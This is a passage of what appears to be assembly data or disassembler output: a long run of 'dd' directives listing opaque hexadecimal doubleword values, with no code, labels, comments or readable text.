18C8D269h, 8152601h dd 64354598h, 20BF69EFh, 4C3D3058h, 41DB4000h, 0A90BB60Eh dd 0B9C98CAh, 16F3EDA7h, 44BE5854h, 0BEFE108Dh, 533CC09Bh dd 97E17592h, 54266051h, 0D212783Eh, 8ACFBA1h, 0C41E1982h dd 0E08F7010h, 3CC8B044h, 85256676h, 0F046C64h, 17824F6Dh dd 0ECD964C0h, 0D8311FDFh, 0F45DD223h, 16169F64h, 44FCDA32h dd 91CE4187h, 2EE2EEA0h, 3BC5641Ch, 68E09E8Ah, 0FB243ADCh dd 0EE8D4160h, 0CD80A0BAh, 16DAFE3Bh, 0A80C3078h, 13230160h dd 6CE4AB5Eh, 0E18B9DF1h, 0F4FA8DBFh, 7CA26B73h, 8EDDD360h dd 61260CFAh, 0CE622CB0h, 90340775h, 9B2DCB28h, 0B8E84000h dd 0A015B3C0h, 89866B06h, 0A25A64F8h, 9D227CA6h, 4B92A139h dd 69F3C002h, 1F8CDECAh, 258FE456h, 0AC480C7Ch, 6EF91303h dd 10565441h, 549C379h, 0A9A55B3Ah, 0E0A103Ch, 423BDC3Ah dd 9F309C30h, 2498D630h, 15252898h, 7274E005h, 11EE40E6h dd 0E9776430h, 0A07D89F9h, 2215F35Ch, 2C7E7EADh, 91BCFA00h dd 0B8DC3024h, 22363A76h, 35FD2184h, 0C7E4DB58h, 0EE00DF05h dd 95CBBA0Ch, 0A8C09CBAh, 0CAE12A49h, 0F4B7F5h, 3185F0C2h dd 790AC9FEh, 9873F552h, 2F18B608h, 882E8E7h, 0F4226DFEh dd 1873AFBCh, 12AC0770h, 0A82A5F7Ah, 0E4E6D6D8h, 3010E1E1h dd 9D401EB4h, 4090A0DDh, 5DAD031Fh, 0B6B034D9h, 0BA5582EAh dd 50F07308h, 513D678Fh, 324A79EEh, 0C9F890C3h, 6400A1BEh dd 3B0D3907h, 8367F1Dh, 6485A3E3h, 0BBB41968h, 683E446Eh dd 0C68BE980h, 0E58F3BE2h, 0D3BF7409h, 8408D137h, 0E122FD0Dh dd 0F28F068h, 289C6AE1h, 0DB79D69Fh, 537281F0h, 8F6F1528h dd 0C0EF8808h, 0AA0505Dh, 0F127F9FCh, 0F4D141h, 4851B994h dd 1096DAEh, 54ADEEE0h, 8C0269D0h, 0F401D4B2h, 0E62A3F96h dd 0B720B1F4h, 4E2E52D0h, 5BACB4ADh, 5891AB00h, 0FC38DD89h dd 4ACAE8C2h, 12F4F86Ch, 7CA8DC0Fh, 73ACA8D2h, 3B0940h dd 5F76B4DEh, 0FD420153h, 0C0CD334Ah, 0CFC0EC61h, 63BCAF74h dd 0D0C83763h, 68B641F9h, 2B08FBE2h, 2D39F456h, 806C29AEh dd 0DE56E923h, 350B2562h, 9503A8B7h, 83C2963Bh, 0FF6BDA47h dd 80D43489h, 0C8A703DCh, 91883B2Ah, 95775BF8h, 2120A4B2h dd 98E89F0Ah, 0A5801606h, 1B5A2271h, 0E64A3274h, 109B8A7h dd 7478C9A2h, 4289A316h, 0F64F4CF8h, 7DE1E048h, 47970B66h dd 0E1004A4Eh, 999EFAB3h, 5820CE30h, 1C8240ECh, 29750F45h dd 0A27C80B8h, 9DE2B0A8h, 0F8B6404Bh, 0F8E0C3E1h, 66008B10h dd 1E683C6Ch, 0B5D85605h, 1CE4CCE7h, 4CE79060h, 0AE35F10Ch dd 9FB187h, 193E48A1h, 0C076EABCh, 7BBFC100h, 9B97CF38h dd 3B651634h, 5BCA813h, 0A5ACE51Ch, 0FEB808A9h, 92A72F0Ah dd 9D8EE081h, 2F22A879h, 48DE54BAh, 4C5F00D4h, 0BD36632Bh dd 0AC17EEA8h, 0C4EC8E34h, 0A018B75Fh, 284CD48h, 0CA576607h dd 0B6026B46h, 23AD0269h, 0F550145Ch, 0E85D1EDBh, 859E577h dd 5671758Bh, 3A91BE0Ch, 1A733ED8h, 7F19F66Eh, 0F1BDA491h dd 0DE586402h, 0DF783476h, 54F040B5h, 0A0272530h, 9831CC51h dd 0FC058B56h, 0E8A84CB0h, 61008CCEh, 1E62DC98h, 95D9C6EFh dd 0E25C2CC4h, 2EA600D2h, 38B2C136h, 766B00E9h, 250F5980h dd 0AC4A359Dh, 5412F4ACh, 3330B8E7h, 25B43224h, 0BC642308h dd 3608E117h, 244D4CE8h, 140313BCh, 4D533AC6h, 60C39587h dd 0FC13DC42h, 200BD2C8h, 0E4ECA036h, 4ABAD954h, 9BFCC024h dd 5C5BD855h, 600286Eh, 0A618428Dh, 0E004F1D7h, 353208DDh dd 0B988D4BEh, 0C86F4E64h, 3479B800h, 92027818h, 581F1931h dd 886A5C40h, 6405E5A4h, 0C1C91B3h, 8F5C04ABh, 0BC6EBBA5h dd 46A75200h, 0B5DC84DFh, 5C123490h, 0E4A91DE1h, 0B2FCF35Ah dd 19EB3012h, 0DCE45409h, 49B180ECh, 2471BB53h, 847CEDC6h dd 0B03E592h, 11EC1D15h, 43C0801Bh, 9300EB1h, 0CF3F1098h dd 1EFF18E2h, 5B5CB920h, 6C6B61F4h, 864B32Eh, 0C5FEA2h dd 3610D7AFh, 152DDFA9h, 44345934h, 0CC0B56C9h, 0D06410h dd 16491E3Ah, 0B656C92h, 33368600h, 0C109C064h, 0A5A22202h dd 0A769AEFCh, 40A4DC91h, 0CFF8014Ah, 232AA902h, 0D5CDC717h dd 5FD2309Dh, 744008EDh, 9C16B32h, 9462EC5Bh, 6D13945Eh dd 0F804C0E7h, 95EF89BFh, 77C06F54h, 0B8DA6C09h, 0BCFC8651h dd 0B4719D89h, 0C354F980h, 95BDCAC8h, 571228C5h, 18A63817h dd 96E5CEF0h, 0A23C4DF0h, 22921014h, 3B2B8D02h, 0B4F907F8h dd 0CB5F7687h, 0F10411F3h, 8BF65EF4h, 0EB405484h, 0BC804835h dd 0D160BE7Dh, 0A46C7BAAh, 9CC2B5D8h, 73EBEC54h, 0CBD150D8h dd 3EA48358h, 80DB5F15h, 54738780h, 0ECE2A8CCh, 0C0BF80ECh dd 24D8147Ch, 25DD654Ah, 578BDCF1h, 0C074ED9Dh, 0A13E6E26h dd 3A03760Eh, 0FE29E4DCh, 352A6CF1h, 364C0604h, 0EE2D199Ah dd 0F0E0C0DEh, 0BD25A31h, 0F0FE9F6Ch, 60605449h, 0C9B20D15h dd 68D0285h, 0BAFF7A46h, 5E10F404h, 8E7C1821h, 3900BE08h dd 0C399D374h, 0C330AD25h, 18F2C030h, 0E8324A1Dh, 723BC18Ch dd 50022CAh, 0E227BD6Ah, 0E12C6DC8h, 0DF40182Ch, 23225198h dd 15AFCE0Eh, 7CCACAFDh, 275A7C11h, 71094EFCh, 54C9005Eh dd 0F4D32528h, 690478h, 0F836FD6Fh, 0F96E1595h, 36B1127h dd 0C834ACE8h, 0A073022Dh, 5E0B8DA8h, 8C50B45Eh, 5359E102h dd 0C0AB0124h, 4AED3498h, 0AC88A956h, 1A128C20h, 6A0226A8h dd 7FAF7578h, 0C484F009h, 0C017FFC2h, 0B384409Bh, 57DC82A5h dd 14552742h, 3B724554h, 0D43B7487h, 0DE5B0068h, 0DAE80F34h dd 0DDB46097h, 1E680970h, 975620Dh, 0D6D8FE4Ch, 817BEE21h dd 3F4C969Fh, 6ED770B0h, 8FBA5112h, 864446EBh, 4495699Bh dd 1A88A06Ch, 2F40A5A1h dd 0F091B495h, 0D9C2F680h, 0AB059DACh, 140B4DE7h, 510427ABh dd 49A4E41h, 0BC6234C1h, 9C89F902h, 0C7B734D8h, 60784480h dd 73EB5E77h, 2E7601F8h, 32074CB1h, 5F882C49h, 6B130CE3h dd 8020F279h, 404C3AE9h, 3253000Dh, 4DFDD618h, 1B4B6341h dd 56430882h, 0EE0650F4h, 0A79D7AFAh, 50F15DBCh, 0C67E70F4h dd 4295193Ch, 91E81700h, 0A73F81F1h, 0B0CBF2E9h, 4F15B4A5h dd 330B2D9h, 63B7032Fh, 553182E8h, 0C4910CB5h, 7A3DAF81h dd 4F02F36h, 27D700ECh, 7F70E3DCh, 0A75BAC26h, 71805C9Bh dd 7870EE8h, 3902BD07h, 54BB55A9h, 1D46744Ch, 0FF216702h dd 2C5DF507h, 0E9F4868h, 0B1F9A25Bh, 44DCE309h, 11B4674h dd 1D518923h, 3C37D4F4h, 6A3067A0h, 1551D100h, 6E6CCBE0h dd 8C4BD74h, 0F8796F27h, 59EF64E0h, 1CCCEFE6h, 4FE778B7h dd 8830528Ah, 9D72FB54h, 4608220Bh, 0D64CD63Fh, 90D27602h dd 0D13F1934h, 1820D1A4h, 4BBB00F0h, 0B8DE758Fh, 6004FAA5h dd 0DA32F7EDh, 77DC1080h, 2D20996h, 0E4626D6Ah, 72FC4055h dd 0C41D95D7h, 0FA812191h, 0F0E36D93h, 2309DAC7h, 7042FE3Bh dd 76109660h, 733F6E46h, 87BF4906h, 5109197Ah, 750DFB24h dd 5409B092h, 80A48F55h, 6B7B2B66h, 9587Dh, 0F6C0AE3Eh dd 0C989BF11h, 0BD92A717h, 6DE1368h, 74236C3Ah, 1D889D00h dd 0A9A8BCh, 72B10E7h, 0F1D31808h, 38154C2Eh, 56D4EB0Bh dd 0C200DC8Ch, 0EF022036h, 0BB776B40h, 65121C54h, 0D38F38DBh dd 104533D1h, 38FF2A61h, 0F3404C64h, 90404A24h, 4F92AA8h dd 0F4614425h, 3400DC38h, 29B9D0CAh, 2889968h, 253208DEh dd 14D5C40Dh, 6EB48DB0h, 213F8A00h, 0FAFCF902h, 0E05670BFh dd 0E82095ADh, 4B45B376h, 34F08E00h, 0BCA20580h, 12E8B0F1h dd 0E650E874h, 9A010250h, 14C421B1h, 44B795h, 93A4F516h dd 6A4B0F45h, 0B94A84F9h, 0E50E8A4h, 0A2AF7A6Ah, 7A9692Ch dd 0FE0A3090h, 547B3F0Ch, 21D465Ch, 2430CFA3h, 994C405h dd 8BAA320Eh, 0D43AF048h, 20F1C0B9h, 82FE2318h, 30F97D4Bh dd 70FF540Bh, 0F264A854h, 1525015Fh, 3E85A201h, 7CA8B812h dd 0A9927006h, 0DB9708CAh, 4C9580ACh, 8750BBA2h, 1434E388h dd 6817D1B1h, 72CC804Eh, 0D64C3CF4h, 0F97874h, 1F7DAD35h dd 0F132824h, 0A8564D32h, 316E8174h, 844683BAh, 0F0C69FC6h dd 10BB1300h, 0FC649539h, 0A2E64E3Ch, 0AB50F2Ch, 0AB87A1C4h dd 0B7F8FDF1h, 8B5600D4h, 1DC54B5Ah, 60998DC0h, 44125417h dd 13230421h, 2A78B02Eh, 80001741h, 1C39886Eh, 12B23EECh dd 104CAC37h, 0A44A9C42h, 6E881F64h, 3124B29h, 0E2621094h dd 48A3B94Fh, 5E169F09h, 4184D47Eh, 8D0F77A6h, 0BFD0E684h dd 889C9C98h, 0D630A1BDh, 8AFF9819h, 1740BE45h, 0A2A00472h dd 496E01D7h, 509799E6h, 70E00865h, 160BA0ACh, 9F6C5082h dd 231348ECh, 44F6FCEEh, 7CECCFF0h, 73886148h, 1276CB0h dd 1654DA6Ah, 0F8529A3Dh, 80CD4AE8h, 0FDDCC83Eh, 4073CD1Dh dd 0FEB1E5C0h, 3AC7A65Ch, 0BB00D806h, 0ED2537C1h, 9B257E0Bh dd 76CCDEEFh, 77017546h, 8F57099Dh, 80CDC17h, 11B42350h dd 8504FA3Ch, 6CDA7E74h, 0F1F1A4F2h, 3EC0C7Bh, 4A969F5h dd 5D90B561h, 4000DC4Bh, 0E6449B6Ah, 9FF6D23Bh, 10D9D800h dd 1610A031h, 0FE03DA92h, 5408D69Ch, 0C9FD0EE9h, 1318BB9Fh dd 10824E42h, 7C36D535h, 1F48B59Dh, 0B454802Ah, 0AC6B0B1h dd 488AE22h, 0E96C572h, 4D8B80DDh, 43254117h, 5818533Fh dd 10012E0h, 0AE2972BBh, 495442Ah, 0AC6740E3h, 8852AB86h dd 731FA06Fh, 904E7BD9h, 45BD7878h, 3FFF7D00h, 0A70239D1h dd 715E00C9h, 0FE9E68CAh, 689ECB6Eh, 0D2F69FE1h, 411909E7h dd 4C86AFAh, 5F82D9E2h, 3F64AC65h, 5946BFFh, 0AB5AC1ECh dd 0D1F210A2h, 5FE12831h, 9BDBC30h, 0AC12462Eh, 0E6519C56h dd 0F1D2FC13h, 3BF0747Ah, 926E37Bh, 719ECC7h, 82D72A99h dd 5CB55543h, 0DC807711h, 60F53FE3h, 7A255404h, 40BA62BDh dd 6640ED48h, 30009121h, 0D0E9134Bh, 141A8A4h, 76E3A66Fh dd 3FF94C37h, 0AF64C8h, 0DBE16D8Dh, 67817801h, 40DE5402h dd 5CB8A9D9h, 8495098h, 0D0845397h, 0C2E5DA10h, 6AE6AC5Ch dd 0F8FF4B49h, 1A55A2C8h, 1FD4647Eh, 0BF91E0h, 0E08F277h dd 80B295FAh, 10A8C4B5h, 4AD0D616h, 2CF960A0h, 125C7456h dd 0B464E45Fh, 0B751540h, 0B8F0E671h, 46DCFCFEh, 60E326C4h dd 0F01F920Ch, 0E4235461h, 21A10079h, 95CD45AAh, 2E123B20h dd 74AAB2FBh, 0A8E0A90Ch, 8BE04B1h, 5F3D592h, 14F9AD40h dd 1F2B400h, 0AC980299h, 0C5AFE800h, 6741F8A4h, 8EF7022Ch dd 0B7216B88h, 0F550C25Dh, 8360FC9Ah, 4200DF22h, 0CA645D70h dd 5A24B72Bh, 0EFC0FA6h, 0D4FCEC6Bh, 0DED45B05h, 0A10080F3h dd 0B61C9F5Eh, 0AA00FC30h, 0C72CA09Ah, 97695388h, 0E9785C00h dd 3F4F0B80h, 1BACF0EDh, 0F40E7B02h, 5578164Ah, 0D440AC4Fh dd 4C68309Ch, 0A84B7C6Ch, 328ACF34h, 1FAF70F0h, 309A2970h dd 4ED95D68h, 0DE164425h, 0CA4676A4h, 26AF0D0Bh, 0A08D0085h dd 44B53B00h, 6F6B1158h, 15371270h, 34C42CD7h, 55327082h dd 0B777549Ah, 4C961FA0h, 4A78F1EFh, 5504C29Dh, 5900B8B7h dd 51A6857Ah, 0D3C004DFh, 120AF6D1h, 0E6EC20EBh, 8239B6ACh dd 0DD8501BCh, 0F5F06A67h, 72421FC4h, 95970052h, 8E0F8F54h dd 0F916F683h, 74A96C49h, 0BA2FCDC1h, 38C42A40h, 555A004h dd 13AC2E1Ch, 4A30E85Fh, 0B05B34A3h, 0CF80CEF8h, 3D1C00C8h dd 51A0110Fh, 36000DDDh, 0ABD4BBF9h, 0A7D86178h, 7BEE42A8h dd 25B118h, 3E353C47h, 0AFF0E984h, 0CED43725h, 7140B138h dd 5F01871h, 7EBBA320h, 817CECB7h, 0A7FF3CADh, 1D0BC920h dd 4FC06CD5h, 253F5993h, 3A2A9490h, 0B0648740h, 0BA650904h dd 377DEB02h, 0D660803Ch, 7E2DD718h, 9BC7151Ch, 0C13216FAh dd 956F80A0h, 1143CE4h, 5ED07D3Ah, 9D0802B8h, 0C7030B5Dh dd 38242585h, 0FE4E030Ch, 23C0699Bh, 0BD835D2Fh, 4BB92C16h dd 0ED948AFh, 958D8982h, 1EE9030Ah, 0FC531700h, 0C30505Fh dd 0E644E011h, 0E8C11E01h, 20EB310h, 3F04C83h, 0E9038358h dd 0EBE77504h, 81367736h, 857B0E64h, 29501B8Ch, 1821D028h dd 1135833h, 701B5742h, 89C08B02h, 0DD1E19BDh, 0F707AEECh dd 375A5866h, 1AB8B9A0h, 257B02F0h, 6C107479h, 0C0496DD7h dd 58B79C17h, 0CC421500h, 31B8ED3Dh, 1ADABFBDh, 0DC18B482h dd 0AA74850Fh, 0D01553B7h, 0FA528B02h, 37FC5DFh, 80B79EBFh dd 0F51FB5D1h, 7D9C0765h, 0C519D23h, 88300FB4h, 0BF662D04h dd 0FF901452h, 0B95F3FB5h, 8FB829h, 0A6D3BD58h, 987BA58Bh dd 9D107075h, 0E9142B0Dh, 90005008h, 7A7C8011h, 0FF0CBD57h dd 260E3595h, 20B5308Bh, 0C7F1BB89h, 0F5E72DEEh, 0EF94C301h dd 64B83FF9h, 0BAC6BC00h, 0D88B57F0h, 85290C5Fh, 96760655h dd 0D516666Bh, 870F4301h, 0BC3FBC02h, 0B331035Fh, 29585ACEh dd 4B98DF2Bh, 0A2B577h, 1875FB9Ah, 3D017B28h, 9D3398B2h dd 50404D5h, 0AF1D598Ah, 0A2826ADEh, 0C182B048h, 0AE940AC1h dd 85C4C7DFh, 0B911049h, 1A7EFBBFh, 0BA8749E1h, 953DCC5Dh dd 8A491968h, 4C28307h, 30D8FE3h, 0B589602Fh, 240225F1h dd 4BE88166h, 507A6015h, 0B2535420h, 858D0D5Bh, 0E488CE09h dd 0B2FFF1BDh, 2BB87C34h dd 813318DFh, 0AC7F0AC3h, 31865482h, 42C29D4h, 0A66FC429h dd 538DA026h, 753F0021h, 2C96E4B4h, 0E70581B3h, 60CC5EB6h dd 23E1C504h, 0F0F9A6AAh, 1DDA4A5Ch, 5178970h, 0BB820F3Bh dd 41657F8Ch, 508AF127h, 2141850Ch, 0FBF5080h, 6F594D01h dd 25243485h, 0D5C4FB7Bh, 2DACCD58h, 0B509800Eh, 59280D26h dd 91CA142h, 44572E25h, 91D0D34h, 36485596h, 8601B0C0h dd 0D7B2A24Eh, 156080D3h, 0EB0A152h, 6D3C7108h, 0C8968013h dd 0DF81FDF7h, 84F11B97h, 0EAE5025Fh, 64807B9Bh, 0E0126F03h dd 14110A48h, 0A2F72A21h, 0C646160h, 0B9C8BB15h, 0D3E102C2h dd 0F381C9EAh, 52D17141h, 90856189h, 6FB75419h, 391FCD12h dd 1F67B23h, 0A0416BA2h, 65FB3BDBh, 829ABF3Fh, 3FF81380h dd 1812C582h, 0A5024C58h, 40788BEBh, 0A419F57Ch, 0CCD20E9h dd 13AF024Ah, 23423E9Ch, 0FEB2001Dh, 0F5209D5Ah, 6E3321E0h dd 503D7097h, 416954CDh, 0D5AA0123h, 0FB02050Fh, 231E58Dh dd 715561FCh, 194ECC2Eh, 92C63040h, 285DA13Eh, 692A8672h dd 31DCD4h, 0E9F6DB80h, 0FF71F462h, 9AB5759Fh, 3ACF5882h dd 0B644F741h, 8400A279h, 295026E4h, 0E87440AAh, 0C31800E6h dd 0CDFCE8C9h, 790513BFh, 0C18B448Ah, 41F58DEFh, 8421E148h dd 2C959D0Dh, 5BB5000h, 2E5FA1A7h, 0AD5BC1ECh, 509BB890h dd 0B769AAA1h, 0FBBF33D8h, 24527989h, 0C41D51Ah, 3736A803h dd 2D2FC4Ch, 0D1224C92h, 8DF0B24h, 4DEB51Ch, 545ED61Eh dd 3CE9290h, 0F8FC0729h, 5061D021h, 498D29FCh, 571E0515h dd 220D2460h, 0BD3308A9h, 610C1FC1h, 0DBB8A5Fh, 7A247084h dd 0AD45410Eh, 3BF77B20h, 9FD78007h, 8CDF1B8Dh, 266DF125h dd 0DEDCD1FFh, 0B2B97BBFh, 7C4AC1B8h, 0E4CFF677h, 227A5443h dd 3AE84818h, 0B17EA980h, 0FE3A3F44h, 583585Dh, 9BBDD071h dd 7FC9A181h, 0FE02EE94h, 5C81D52Ah, 507AD090h, 59B39C32h dd 0FB9647B8h, 0BF17EE20h, 15F03F9h, 0C4C6BE9Fh, 7B0DDBF1h dd 0ACA7CF2h, 0BD0185FBh, 0A685BE59h, 108094DBh, 943DFD3Bh dd 89AFB800h, 0D1BB4324h, 235F2413h, 97440B31h, 60BF37A1h dd 8BD0865Ah, 3C1250DEh, 0F5AD94BEh, 59CAD0DCh, 2D2ABD08h dd 0ABCFD6D6h, 0F499DFDAh, 2F6CFE0Fh, 0CF152534h, 0C9B51780h dd 9C73BD28h, 231D98D3h, 37A81DC2h, 0F841227h, 8C708D3Dh dd 25E989A5h, 1B55014Ah, 0D359D0E3h, 0BBC30002h, 0B0363D97h dd 5F488A7Ch, 2CE510B7h, 31F8E07Ah, 0D95C70E6h, 71E40125h dd 0CDA27Fh, 774C86CEh, 39CC0F20h, 0E95E43D8h, 10E14C8h dd 19E1107Fh, 0C8B61E7Ch, 45CB662Bh, 0BF9335BAh, 6C20AEC9h dd 999D1023h, 53BC5E1Fh, 0BAB8B717h, 2BF82800h, 24E9B3C8h dd 0CCCD18Bh, 14F104B5h, 800F73A1h, 0AD82970Bh, 74A3867Fh dd 0EA2C0153h, 0F8EC1B4Ch, 311960AEh, 0BD041FB1h, 0C1226ADh dd 11BE0737h, 0EF0945E1h, 3D548Ch, 20241831h, 75AEB672h dd 0F2C95D02h, 86D03B54h, 982B2A82h, 82C55427h, 17816BE9h dd 6A2310DFh, 69C13EC7h, 0CB929380h, 99DD5ABEh, 0F6348001h dd 94577D7h, 0B04B660h, 5B4EED85h, 68FD9A7Dh, 0B7E6C7C4h dd 842214DAh, 0BD89864Eh, 0F60A373h, 0A1959FFh, 0A5835D0Ah dd 0E8FE0A2Dh, 52B20020h, 0B7208FADh, 0A100FC77h, 0E0B491BAh dd 4C2E9Ch, 6A42139Fh, 5F14E380h, 9DADF6D0h, 32DDB584h dd 0C151E90Dh, 13C7EC8Dh, 0EC854C48h, 9D008C1Bh, 6D11A745h dd 0B829EAB3h, 1B2D259Dh, 58D8928h, 0EF9C0FC7h, 0F92A698Dh dd 0BAC7Ch, 0ECF8CA4Ch, 0CFB923C7h, 65C20870h, 856C3BD3h dd 0AEDBFCBFh, 0D88ACDC0h, 0D1731621h, 5CFC4D2Fh, 0E01DDC8Ch dd 3280E60Ch, 0B6BF1342h, 6A2B2580h, 0FE165FAEh, 0BF4AB66Eh dd 0BAF96A05h, 0ED04257Bh, 83B649F8h, 1FCE910h, 0D1C233ADh dd 0D2D04C93h, 0C043F4B2h, 810031DAh, 2FAA5CE7h, 0FFD6644Fh dd 596900DCh, 37C14D53h, 6D98ED96h, 382AB920h, 0B95F880Dh dd 711E8A5h, 0F58619Bh, 5C8B24F4h, 0DF4F1A27h, 0FAC055EDh dd 0B23D8589h, 35FCA088h, 6AD3BF0Fh, 35C18D0h, 0E0C6D21Fh dd 0FD581BEh, 319091B3h, 10F10E5Fh, 0C2F35003h, 0C103E3CFh dd 56E9087Fh, 585E19D4h, 0F48085BCh, 22EE3478h, 4195290Dh dd 0CE61442Eh, 48276090h, 0E95D2EFFh, 19A5BD41h, 0EB93FE2Ch dd 8C3649F1h, 27F118F0h, 0EB9A6C00h, 0B7B05A33h, 0A67D91B2h dd 0BD23C0CBh, 0C08214C9h, 0D64B64CDh, 596EFE0Ch, 4113513h dd 171E7172h, 0E1FF2C04h, 0B0FAE6AAh, 377BAAh, 41B011A0h dd 53B2DBFh, 0F0345F5Ah, 44D9944h, 0F500B6ABh, 9FBFB500h dd 0A421226Bh, 3901402Fh, 882CD38Ah, 0E3A8F686h, 5E1DDD20h dd 0B89FBD60h, 0BAE7915h, 0A7BD8416h, 5FDD10FFh, 283A0004h dd 0E6AA9F0Dh, 8051AE1Bh, 0DA8030ADh, 0BF78F8BDh, 0A71DDDBh dd 40B05D0h, 0E180156Dh, 6AF6AA04h, 0F3B641B0h, 934CE212h dd 93C1D40Ah, 0A1C90A8Ah, 9EAF1A12h, 3E02963Eh, 0E3A8132Dh dd 6E578C54h, 8E2C058Ah, 0FBB65C7h, 0B904C459h, 0EDF781F8h dd 85330005h, 18889AC9h, 0DE1BD29h, 2CFA8D89h, 13665080h dd 853028BBh, 0F79B225h, 4168DAD2h, 5620E86Dh, 5880AAF4h dd 8C17BEDFh, 49AF0581h, 0AB61120Ch, 30B55CCCh, 9D6F0D85h dd 0E8812EF5h, 0FF090779h, 0D9691F03h, 6F09BB50h, 0F91B59EBh dd 0A74CE262h, 4AB7580Bh, 0A101FD05h, 93A67A31h, 6ACA96E0h dd 0ECB80B05h, 0F413FC87h, 0FB8BCA90h, 0F3D155E9h, 0A76BEA3Eh dd 0C7802B39h, 9A32890h, 304FE18Dh, 6924674Ch, 0B318E0C7h dd 858CF051h, 2571D93Fh, 1A8F107Fh, 2F09009Ah, 0B76823E3h dd 0BD006F34h, 0DCEE8650h, 2228B58Bh, 35284BB9h, 0F1254D1Eh dd 0B518552Bh, 0BF003487h, 7D6CA03Ch, 50B22666h, 9EE59713h dd 0DC5B1EA0h, 0FBE15EBFh, 6C4DE1D5h, 52B8A06Dh, 0F2656B09h dd 3FC655F8h, 0C0499D3Bh, 15952509h, 70BFB987h, 8922E4E1h dd 23044617h, 7080208h, 29505296h, 42587100h, 5FF0310Fh dd 0F5E75A77h, 963E3457h, 706973BFh, 0B13BC6A5h, 4B47003Ch dd 0BD032D8Ch, 480C5A91h, 356B24F5h, 0CEA482ADh, 0B982F747h dd 0A1472CB5h, 0FE12EAA6h, 8AC29D24h, 20BB2005h, 2B8A9D8h dd 0DE528AE0h, 0F600BBDh, 0D76A9981h, 28B37670h, 0FCB5524Eh dd 355F812Dh, 50C6AC15h, 4174676h, 0BAE7F977h, 2E0D3881h dd 37695002h, 0A408E8h, 0DB79B2C4h, 53926B91h, 83085C00h dd 24D08260h, 76CB1280h, 8BFF605Bh, 73BF61FAh, 5DF070DFh dd 4251639h, 569831BDh, 0EE341387h, 80B496ACh, 0EB80FB46h dd 9F8AA84Ah, 8476582Fh, 434612F6h, 191D0BEEh, 0E72390FDh dd 0E9041C11h, 93703845h, 3B8E7851h, 23A58301h, 1A6CA74Ah dd 0AAF12620h, 75C854EFh, 0C0256DC9h, 3F9A28E1h, 0F059F405h dd 0C8EB5220h, 3E03D64Bh, 81564868h, 76348042h, 0BA500001h dd 9C4440DAh, 5B2E1F12h, 0A12F8760h, 79B5231Ah, 95616A64h dd 1C38CD94h, 6EEF4A04h, 6F610F54h, 2AA4C0E0h, 0B02BB22Eh dd 88F970A2h, 6FD4B18Dh, 4DDFB340h, 0EEBC876Dh, 9D29123Fh dd 57D24B5Ch, 73C53F1Eh, 57F35BD6h, 159D310Bh, 0A4544A42h dd 805F376Bh, 99FC2B8h, 2509527Ah, 430C52Ah, 1EACD9B3h dd 8F0CDBD2h, 0D36480A0h, 9A35AC7Fh, 27E9203Dh, 78F01A95h dd 96314007h, 57087CD3h, 469E0Fh, 0DA6EBA3Ch, 0B50EB91Ch dd 4EFA1377h, 2C1236CFh dd 0B2ADC9BBh, 0C8FAC008h, 0B860962Fh, 801CE2BAh, 0D0A8CB9h dd 0AB614FDFh, 0D1CB81C0h, 6259255Eh, 1464C56Dh, 0B70F0160h dd 31F2FF65h, 0A8649194h, 0B451F6AFh, 21091BADh, 4C053856h dd 2A20B169h, 42E6EB35h, 883AA8E1h, 2526FDAEh, 475C0B6Ah dd 45C72F4h, 8322AEEDh, 4AD8E382h, 66B225C5h, 0C49FE700h dd 0E86E384Fh, 0C2722B25h, 0C0EEED20h, 4AB34D65h, 3B8C574Bh dd 4A0B9252h, 0F0B885Fh, 1EB21300h, 0E46E1C21h, 11DF070h dd 37BBA32Eh, 2EA57660h, 89A65134h, 0E8C79BE0h, 0A6D43A01h dd 99D8529h, 481D448h, 0EEC676F3h, 0ACC8BD1Dh, 6C4B8C14h dd 55325D9Dh, 0FC3115E2h, 6B82BD20h, 0CD0B1702h, 1D4DE602h dd 9B1E5006h, 0E1F912C8h, 915ED251h, 1D46D6h, 6E7EBC3Ch dd 1C45F56h, 81D8D18Fh, 44CA94D3h, 0C277ACEFh, 34299D89h dd 7BB1044h, 718B194Dh, 24E66050h, 0B3C509C2h, 5A6ADA8Ah dd 3121423h, 0A105D0AEh, 8100B1E5h, 3BDE090Bh, 5F5FF8B3h dd 874DF8F6h, 9DB7CE98h, 189905B0h, 511D04FCh, 0B8DF284Ch dd 0DAAFD256h, 486FC183h, 0E520C9D7h, 0D8294EF9h, 2500FF9Eh dd 3C9573F5h, 1A3FCD6h, 388A2DC1h, 5B947AE3h, 0C01A8886h dd 98BC1602h, 11F3FB16h, 295D970Bh, 8593599Dh, 8268CF81h dd 0EDC12139h, 715CC291h, 66112771h, 2ED6C9BBh, 90F24434h dd 1F36B07h, 1E00FBABh, 9D95295Fh, 3C88194Bh, 0BD891CF8h dd 3DC7651Dh, 0D700B7A6h, 0D5E95AACh, 0B3FF71F2h, 3FEE78A9h dd 878BF80Fh, 67CEC2B3h, 11FA5EC8h, 0DFB70029h, 0BF51C18Bh dd 2545753Bh, 39CE5F78h, 9D20ED20h, 0BF665100h, 70B09385h dd 0F94B6692h, 3DB2A112h, 25DFC24Ah, 467E225Ch, 0DC7F0417h dd 6B8C8EA6h, 621B00DAh, 0F363F595h, 4B143A79h, 77B4D251h dd 0BE840641h, 0E84CA1C1h, 182D1250h, 6A4B2FE6h, 9C110241h dd 0C0B05669h, 3E1EE1CFh, 0B79961C7h, 0C8BBF7E4h, 2B546966h dd 2BE9DA80h, 0B3D2AAB8h, 0E8BB4C18h, 4C008C1Ch, 0FD086667h dd 9BCFE3Ch, 419D2B20h, 8060B3A0h, 6604C0C7h, 61EB08BEh dd 0AFD248B8h, 2CC138DAh, 744BB36Eh, 0D15BFFC4h, 8412436Eh dd 0EC2F0CEh, 44611C97h, 6A27F5A3h, 918F1702h, 15388018h dd 0B874A7A2h, 5B22EDB4h, 99002053h, 0D9DE77EAh, 0CC0525E4h dd 0F1844AEEh, 0BB6FE252h, 9928F24h, 72B80F7Dh, 0EA00A441h dd 7EB556D4h, 2B6CE25h, 0DA8EE952h, 91C57CBCh, 5B52Fh dd 0E71B250Dh, 0E30E083Ch, 78359509h, 970E0287h, 0CB49C116h dd 0BCA5598Dh, 0D47207DEh, 898C5E3Eh, 57010A09h, 2EA7EBEFh dd 1ABDBA34h, 73407DB8h, 0C82D4B89h, 3048E841h, 4D413CB5h dd 5BD51C8Dh, 0FDDDC265h, 17E41EC7h, 72E63360h, 0C011CC48h dd 975E2BE4h, 18F80166h, 0C3338215h, 7602F7Ah, 0ECE8160h dd 0D8D4307h, 90CA8BE7h, 0F84C5FC7h, 29E261E0h, 0A4BCE90h dd 0ABD964ABh, 54EFAE2h, 